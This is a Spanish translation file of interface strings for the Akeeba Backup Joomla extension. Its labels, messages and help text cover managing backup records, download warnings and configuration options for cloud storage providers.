COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="¡Entendido!"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Recordármelo la próxima vez"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="No se puede descargar el archivo del registro de copia de seguridad especificado"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Identificador de registro de copia de seguridad no válido"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="No se han podido eliminar los archivos de copia de seguridad. Por favor, compruebe los permisos."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="No se ha podido eliminar el registro del archivo de copia de seguridad."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="El registro de copia de seguridad ha sido inmovilizado."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d registros de copia de seguridad han sido inmovilizados."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="El registro de copia de seguridad ha sido desinmovilizado."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d registros de copia de seguridad han sido desinmovilizados."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="No se puede realizar la acción seleccionada en un registro inmovilizado"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Inmovilizar registro"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Desinmovilizar registro"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Comentario"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Eliminar archivos"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Descripción"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Duración"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Inmovilizado"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Inmovilizado"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Inmovilizado –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Desinmovilizado"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="¿Cómo restauro mis copias de seguridad?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Puede restaurar sus copias de seguridad en cualquier servidor, incluso en uno diferente al que utilizó para realizarlas. Siga nuestro <a href=\"%s\" target=\"_blank\">videotutorial</a>. Necesitará <a href=\"%3$s\" target=\"_blank\">descargar Akeeba Kickstart Core (gratuito)</a> para extraer los archivos de copia de seguridad, tal como indica el tutorial.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Puede ser <em>más sencillo</em> que esto.</strong>Puede restaurar archivos de copia de seguridad en el mismo servidor o en uno diferente desde la interfaz de Akeeba Backup. Sin necesidad de transferir archivos manualmente. Descubra estas y muchas más funciones disponibles exclusivamente en <a href=\"%s\">Akeeba Backup Professional</a>!"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>¡Es sencillo! Seleccione la casilla junto a una entrada de copia de seguridad. Luego haga clic en el botón <em>Restaurar</em> de la barra de herramientas.</p><p>Si desea restaurar en un nuevo servidor público, puede usar el <a href=\"%2$s\">Asistente de transferencia de sitio</a>. Si prefiere hacerlo manualmente o restaurar en su propio ordenador o intranet, vea nuestro <a href=\"%1$s\" target=\"_blank\">videotutorial</a> y <a href=\"%3$s\" target=\"_blank\">descargue Akeeba Kickstart Core (gratuito)</a> para extraer los archivos de copia de seguridad.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Gestionar y descargar"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(sin descripción)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Origen"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Panel de administración"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Línea de comandos"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Frontend"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="API JSON"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Tareas programadas de Joomla"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Tareas programadas de Joomla (solo CLI)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Origen –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Parte %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Perfil"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Gestionar archivos almacenados de forma remota"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Restaurar"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Tamaño"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Hora de inicio de la copia de seguridad"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Hora de fin de la copia de seguridad"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Estado"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Finalizada"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Fallida"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Obsoleta"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="Correcta"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="Pendiente"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Remota"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Copia de seguridad realizada después de"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Copia de seguridad realizada antes de"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="¿Sigue estando disponible mi archivo de copia de seguridad en mi servidor?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="¿Cómo se llama?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="¿Cómo se llamaba?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="¿Dónde puedo encontrarlo en mi servidor?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="¿Dónde estaba en mi servidor?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Su copia de seguridad consta de un único archivo."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Su copia de seguridad consta de %d archivos."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Información del archivo de copia de seguridad"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Su copia de seguridad consta de %d archivos de parte. <em>Debe</em> descargarlos todos y colocarlos en el mismo directorio para que la extracción del archivo y la restauración de la copia de seguridad se realicen correctamente."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="La descarga a través del navegador puede dañar los archivos"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Recomendamos cerrar este diálogo y usar FTP en modo de transferencia <code>Binario</code> o SFTP para descargar sus archivos de copia de seguridad."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="ID del archivo de registro"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Descargar"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="La descarga de archivos de copia de seguridad a través del navegador es propensa\na fallos, corrupción de archivos y truncamiento de archivos por razones\nobjetivamente ajenas a nuestro control (configuración del servidor, configuración del sitio,\ncomplementos de terceros y configuración del navegador).\n\nRecomendamos MUY ENCARECIDAMENTE que solo descargue\narchivos de copia de seguridad a través de FTP en modo de transferencia Binario\n(no use Auto ni ASCII, ya que dañará sus archivos de copia de seguridad)\nmediante software cliente como FileZilla,\n CyberDuck, WinSCP o similar; o usando la función de\ngestor de archivos del panel de control de alojamiento de su proveedor.\n\nSi continúa con esta descarga, acepta expresamente\nque renuncia a su derecho de soporte para cualquier problema de descarga,\nextracción o restauración de archivos de copia de seguridad, y comprende\nque tales solicitudes no serán atendidas.\n\n¿Está seguro de que desea continuar?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Ver/Editar comentario de la copia de seguridad"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Este archivo de registro ya no está disponible en su sitio"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="Los cambios en la entrada de copia de seguridad se han guardado correctamente"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="Los cambios en la entrada de copia de seguridad no se han guardado"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="La entrada de copia de seguridad y el archivo se eliminaron correctamente"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="El archivo de copia de seguridad se eliminó correctamente"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Registro(s) desinmovilizado(s) correctamente"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="La nueva copia de seguridad se realizó con el perfil n.º %s. Consta de %s parte(s). La lista completa de archivos de este conjunto de copia de seguridad es la siguiente:"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Akeeba Backup ha completado la copia de seguridad de su sitio usando la función de copia de seguridad desde el frontend. Puede visitar la sección de administración del sitio para descargar la copia de seguridad."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Tiene una nueva parte de copia de seguridad"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Akeeba Backup ha realizado una nueva copia de seguridad"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Operación no permitida"

COM_AKEEBABACKUP_CONFIG="Configuración"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Opciones de configuración del componente</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Configuración avanzada"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup interrumpirá el paso de procesamiento tras archivar un archivo grande. Al activar esta opción, Akeeba Backup funcionará más rápido. No obstante, esto puede provocar errores de tiempo de espera o errores internos del servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Desactivar la interrupción de paso tras archivos grandes"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup interrumpirá el paso de procesamiento cada vez que comience a trabajar en un nuevo dominio. Esto mejora la verbosidad del proceso, pero alarga el tiempo de copia de seguridad entre 10 y 20 segundos. Al activar esta opción, Akeeba Backup funcionará más rápido. Sin embargo, es posible que los pasos notificados en la página de copia de seguridad muestren un comportamiento irregular."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Desactivar la interrupción de paso entre dominios"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup interrumpirá el paso de procesamiento antes de archivar un archivo grande. Al activar esta opción, Akeeba Backup funcionará más rápido. No obstante, esto puede provocar errores de tiempo de espera o errores internos del servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Desactivar la interrupción de paso antes de archivos grandes"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup interrumpirá el paso de procesamiento si estima que se agotará el tiempo antes de archivar un archivo. Este cálculo no es del todo preciso y puede dar lugar a copias de seguridad más lentas. Al activar esta opción, Akeeba Backup funcionará más rápido. No obstante, esto puede provocar errores de tiempo de espera o errores internos del servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Desactivar la interrupción preventiva de paso"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup interrumpirá el paso de procesamiento entre los subpasos de la finalización y el posprocesamiento de la copia de seguridad. Esto puede añadir unos 10 segundos al tiempo total de la copia de seguridad. Al activar esta opción, Akeeba Backup funcionará más rápido. No obstante, esto puede provocar errores de tiempo de espera o errores internos del servidor."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Desactivar la interrupción de paso en la finalización"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Si su servidor no ejecuta PHP en modo seguro y admite set_time_limit(), Akeeba Backup intentará establecer un tiempo máximo de ejecución de PHP ilimitado para evitar posibles problemas de tiempo de espera."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Establecer un límite de tiempo PHP ilimitado"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Indica a Akeeba Backup que intente aumentar el límite de memoria de PHP a un valor extremadamente alto (16 GB). Esto le permite comprimir archivos más grandes y subir archivos de copia de seguridad de mayor tamaño usando opciones de almacenamiento remoto que requieren mucha memoria, como WebDAV. Nota: esto solo establece el límite del consumo máximo de memoria. En la mayoría de los casos, el motor de copia de seguridad de Akeeba Backup consume <em>mucho menos</em> memoria que eso, normalmente en torno a los 20 MB. La compresión y subida de archivos más grandes también requiere modificar otras opciones en la página de Configuración del perfil de copia de seguridad."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Establecer un límite de memoria elevado"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Opcionalmente puede proteger con contraseña el Script de Restauración de Akeeba Backup, impidiendo el acceso no autorizado al instalador. Al ejecutar el instalador se le pedirá que introduzca esta contraseña. Tenga en cuenta que la contraseña distingue entre mayúsculas y minúsculas; es decir, ABC, abc y Abc son tres contraseñas distintas."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Contraseña del Script de Restauración"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Enviar correo electrónico a esta dirección (déjelo en blanco para enviar correo a todos los superusuarios)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Dirección de correo electrónico"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Plantilla de nomenclatura para el archivo de copia de seguridad, cuando proceda. Puede usar las siguientes macros:<ul><li><strong>[HOST]</strong> El nombre del servidor. ¡ADVERTENCIA! Esta etiqueta no funciona en modo CRON.</li><li><strong>[DATE]</strong> Fecha actual</li><li><strong>[TIME_TZ]</strong> Hora actual y zona horaria</li></ul>Hay más disponibles; consulte la documentación."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Nombre del archivo de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Define el formato de archivo de Akeeba Backup. Algunos motores, como DirectFTP, no generan archivos comprimidos, sino que se encargan de transferir sus ficheros a otros servidores."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Motor de archivado"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Cuando esta opción está desmarcada, Akeeba Backup detendrá la copia de seguridad si el servidor responde con un error. Cuando está activada, Akeeba Backup intentará reanudar la copia de seguridad repitiendo el último paso. Esto solo se aplica a las copias de seguridad del panel de administración. Tampoco permitirá reanudar con éxito todas las copias de seguridad que resulten en un error: solo se pueden reanudar los intentos de copia de seguridad bloqueados temporalmente por restricciones de uso de CPU del servidor o problemas de corte de red."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Cuántas veces debe Akeeba Backup reintentar reanudar la copia de seguridad antes de rendirse definitivamente. Entre 3 y 5 reintentos funcionan mejor en la mayoría de los servidores."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Número máximo de reintentos de un paso de copia de seguridad tras un error AJAX"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Cuántos segundos esperar antes de reanudar la copia de seguridad. Se recomienda establecer este valor en 30 segundos o más (120 segundos es lo recomendado en la mayoría de los casos) para dar al servidor el tiempo necesario para desbloquear el proceso de copia de seguridad antes de que Akeeba Backup lo reintente."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Período de espera antes de reintentar el paso de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Reanudar la copia de seguridad tras producirse un error AJAX"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="El nombre de su cuenta. Si su punto de conexión es foobar.blob.core.windows.net, el nombre de su cuenta es <strong>foobar</strong> y debe escribir <em>foobar</em> en este campo."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Nombre de cuenta"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="El contenedor de Windows Azure BLOB Storage donde se almacenarán los archivos de copia de seguridad. El contenedor debe existir previamente."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Contenedor"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="El directorio dentro del contenedor de Windows Azure BLOB Storage donde se almacenarán los archivos de copia de seguridad. Para almacenarlo todo en la raíz del contenedor, déjelo en blanco."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Puede encontrar su clave de acceso principal en la página de su cuenta en windows.azure.com. Cópiela y péguela aquí. Siempre termina con dos signos de igual."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Clave de acceso principal"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Introduzca su ID de clave de aplicación de BackBlaze. Puede encontrar esta información en <a href='https://secure.backblaze.com/b2_buckets.htm'>la página de su cuenta de BackBlaze</a> haciendo clic en 'Show Account ID and Application Key'. Si usa su clave maestra, introduzca en su lugar el ID de cuenta."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="ID de clave de aplicación"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Introduzca su clave de aplicación de BackBlaze. Puede encontrar esta información en <a href='https://secure.backblaze.com/b2_buckets.htm'>la página de su cuenta de BackBlaze</a> haciendo clic en 'Show Account ID and Application Key'. <strong>¡ADVERTENCIA!</strong> BackBlaze solo se la muestra UNA VEZ. Para volver a visualizarla deberá regenerar la clave de aplicación, lo que causará que TODAS las instancias de Akeeba Backup vinculadas previamente queden desvinculadas hasta que introduzca la <em>nueva</em> clave de aplicación."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Clave de aplicación"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="El nombre de su cubo de Backblaze"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Cubo"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="El directorio dentro de su cubo donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz del cubo."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Al activar esta opción, Akeeba Backup realizará subidas en una sola parte a Backblaze. Deberá usar un tamaño de parte más pequeño en la configuración del tamaño de parte para archivos divididos en el motor de archivado, para evitar que la subida supere el tiempo de espera y provoque un fallo en el proceso de copia de seguridad."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Desactivar las subidas multiparte"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Opciones que indican a Akeeba Backup cómo gestionar los scripts del panel de administración"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Panel de administración"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="¿Se debe traducir la hora de inicio de la copia de seguridad a la zona horaria del usuario actualmente conectado en la página Gestionar copias de seguridad? Si se establece en No, todas las horas de inicio de copia de seguridad aparecerán en la zona horaria GMT. Esta opción NO afecta a las variables [DATE] y [TIME] para la nomenclatura de archivos de copia de seguridad ni a la descripción predeterminada; utilice la opción Zona horaria de copia de seguridad para cambiar el funcionamiento de estas variables."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Hora local en Gestionar copias de seguridad"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="¿Se debe ofrecer a los usuarios que restauran un sitio la opción de eliminar todo antes de extraer un archivo? Esta opción solo se aplica a la versión Professional de nuestro software. ¡ADVERTENCIA! ESTO ES EXTREMADAMENTE PELIGROSO. LEA LA DOCUMENTACIÓN MUY DETENIDAMENTE ANTES DE ACTIVARLO. SI USA ESTA FUNCIÓN DURANTE LA RESTAURACIÓN, RENUNCIA A CUALQUIER DERECHO A SOLICITAR SOPORTE Y ASUME TODA LA RESPONSABILIDAD."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Mostrar la opción «Eliminar todo antes de la extracción»"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Zona horaria"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="El sufijo de zona horaria que se muestra junto a la hora de inicio de la copia de seguridad en la página Gestionar copias de seguridad.<br/>Ninguno: no se muestra ningún sufijo (no recomendado).<br/>Zona horaria: una zona horaria abreviada, p. ej. CEST para la hora de verano de Europa Central.<br/>Desplazamiento GMT: el desplazamiento respecto a la zona horaria GMT, p. ej. GMT+01:00 (= dos horas por delante de GMT, es decir, hora estándar de Europa Central). Tenga en cuenta que durante el horario de verano, el desplazamiento GMT es +1 hora respecto a la zona horaria habitual. Esta diferencia de desplazamiento SÍ se mostrará en este formato."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="Desplazamiento GMT"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Sufijo de zona horaria"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Ninguno"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Todas las bases de datos configuradas (archivo comprimido)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Solo la base de datos principal del sitio (fichero SQL)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Qué tipo de copia de seguridad del sitio desea que realice Akeeba Backup"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Solo archivos del sitio"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Copia de seguridad completa del sitio"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Solo archivos, incremental"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Sitio completo, archivos incrementales"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Tipo de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Reducir este valor conservará la memoria y evitará errores HTTP 500 al hacer copias de seguridad de tablas muy grandes"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Número de filas por lote"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Los archivos que superen este tamaño se almacenarán sin comprimir, o su procesamiento se distribuirá en varios pasos (según el motor de archivado) para evitar tiempos de espera. Se recomienda aumentar este valor solo en servidores rápidos y fiables."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Umbral de archivo grande"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Elimina el nombre de usuario y la contraseña de las conexiones de base de datos de la copia de seguridad"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Omitir nombre de usuario/contraseña"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Token de acceso"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Activar subida por fragmentos"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Tamaño de fragmento"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="El directorio dentro de su cuenta de Box donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz de la carpeta de Box."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Haga clic en este botón para abrir una nueva ventana donde podrá iniciar sesión en su cuenta con el proveedor de almacenamiento. A continuación, cierre la ventana emergente y haga clic en el botón del Paso 2 que aparece a continuación."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Autenticación - Empiece aquí"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Se rellena automáticamente al completar el Paso 1 de autenticación indicado arriba. NO comparta el mismo token en varios sitios. En su lugar, autentique cada sitio por separado."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Token de actualización"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Akeeba Backup procesa los archivos grandes en pequeños fragmentos para evitar tiempos de espera. Este parámetro define el tamaño máximo de fragmento para este tipo de procesamiento."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Tamaño de fragmento para el procesamiento de archivos grandes"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Cuando esta casilla está desmarcada (valor predeterminado) y el paso de copia de seguridad termina en menos tiempo que el tiempo mínimo de ejecución configurado, Akeeba Backup hará que el servidor espere hasta alcanzar ese tiempo. Esto puede hacer que algunos servidores muy restrictivos cancelen su copia de seguridad. Marcar esta casilla implementará el período de espera en el navegador, evitando esta limitación. IMPORTANTE: Esta opción solo se aplica a las copias de seguridad del panel de administración. Las copias de seguridad desde el frontend, la API JSON (remota) y la línea de comandos (CLI) siempre implementan la espera en el lado del servidor."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Implementación del tiempo mínimo de ejecución en el lado del cliente"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Su clave de API de CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="Clave de API"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="El contenedor de CloudFiles donde se almacenarán los archivos de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Contenedor"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="El directorio dentro del contenedor de CloudFiles donde se almacenarán los archivos de copia de seguridad. Para almacenarlo todo en la raíz del contenedor, déjelo en blanco."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Su nombre de usuario de CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="El directorio dentro de su cuenta de CloudMe donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los ficheros en la raíz de la carpeta de CloudMe."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Contraseña"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Cuando está activado, Akeeba Backup eliminará los archivos de copia de seguridad antiguos si superan el límite definido a continuación."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Activar cuota por número"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Akeeba Backup eliminará los archivos de copia de seguridad antiguos si superan el límite definido en esta configuración. ¡Las copias de seguridad en varias partes se cuentan como <em>un</em> solo archivo!<br/><br/><strong>Consejo</strong>: Seleccione Personalizado e introduzca el valor deseado si no aparece en la lista."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Cuota por número"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Cambia cómo se muestra la fecha y hora de inicio de las copias de seguridad en la página Gestionar copias de seguridad. Déjelo en blanco para usar el formato predeterminado. Puede usar las opciones de formato de la función date de PHP; consulte: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Formato de fecha"
